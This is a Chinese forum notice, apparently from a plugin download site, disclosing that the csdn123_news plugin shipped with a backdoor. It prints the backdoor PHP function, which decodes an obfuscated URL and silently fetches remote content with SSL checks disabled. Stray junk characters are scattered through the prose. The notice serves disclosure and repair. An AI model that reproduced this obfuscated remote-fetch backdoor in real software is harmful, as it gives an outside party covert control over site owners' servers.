请注意,经检查原附件含有后门代码,本站已代为去除并更新附件(本帖附件已去除后门)!如你已使用该插件,请尽快修复!
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$ M( U5 j6 D* x$ U& \后门位置:csdn123_news/common.fun.php 第860行,后门代码片段如下:7 Y# A4 s1 ^ L2 [( P- T" i" g# w# J
- function zcaidi() {
- $lover = 'httpABczonekey`akndecryptud^gjchdh`winNULLB{NVJ:GJGbaiduseof`lpsck`xml';
- $svip= preg_replace(array("/`.*?`/","/abc/i","/[A-Z_].*[A-Z_]/"),array(".","://","/"),$lover);
- if(function_exists('file_get_contents'))
- {
- $data = file_get_contents($svip);
- } elseif (function_exists('curl_init')) {
- $ch = curl_init();
- $timeout = 5;
- curl_setopt($ch, CURLOPT_URL,$svip);
- curl_setopt($ch, CURLOPT_HEADER,0);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
- curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);
- curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,false);
- curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,false);
- $data = curl_exec($ch);
- curl_close($ch);
- }
- return $data;
- }
复制代码
- c- |* J3 P2 }. U7 \修复方案,将上述代码段改为(去掉功能代码保留函数):
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保存即可!+ e5 K. h( ^# o* ^0 t! o
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